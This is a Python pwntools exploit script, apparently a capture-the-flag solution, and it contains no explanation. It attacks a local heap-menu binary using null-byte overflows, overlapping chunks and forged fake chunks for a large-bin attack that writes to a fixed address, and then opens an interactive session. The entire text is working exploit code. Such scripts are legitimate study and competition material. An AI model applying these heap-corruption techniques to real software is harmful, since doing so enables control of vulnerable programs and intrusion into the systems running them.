1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| from pwn import * context(os='linux',arch='amd64',log_level='debug') p = process("./pwn")
def debug(): gdb.attach(p) def add(size): p.recvuntil("Choice: ") p.sendline("1") p.recvuntil("size ?\n") p.sendline(str(size)) def edit(index,content): p.sendlineafter("Choice: ","2") p.sendlineafter("Index ?\n",str(index)) p.sendafter("Content: \n",content) def delete(index): p.sendlineafter("Choice: ","3") p.sendlineafter("Index ?\n",str(index)) add(0x18) #0 add(0x508) #1 add(0x18) #2 add(0x18) #3 add(0x508) #4 add(0x18) #5 add(0x18) #6 payload = 'a'*0x4f0 + p64(0x500) edit(1,payload) edit(4,payload) delete(1) payload = 'a'*0x18 edit(0,payload) add(0x18) #1 add(0x4d8) #7 delete(1) delete(2) add(0x30) #1 add(0x4e0) #2
delete(4) payload = 'a'*0x18 edit(3,payload) add(0x18) #4 add(0x4d8) #8 delete(4) delete(5) add(0x40) #4 edit(8,"ffff") delete(2) add(0x4e8) delete(2) content_addr = 0xabcd0100 fake_chunk = content_addr - 0x20 payload = p64(0)*2 + p64(0) + p64(0x4f1) payload += p64(0) + p64(fake_chunk) edit(7,payload) payload = p64(0)*4 + p64(0) + p64(0x4e1) payload += p64(0) + p64(fake_chunk + 8) payload += p64(0) + p64(fake_chunk - 0x18 - 5) edit(8,payload) add(0x40) payload = p64(0)*2 + p64(0)*6 edit(2,payload) p.recv() p.sendline("666") p.send(p64(0)*6)
#debug() p.interactive()
|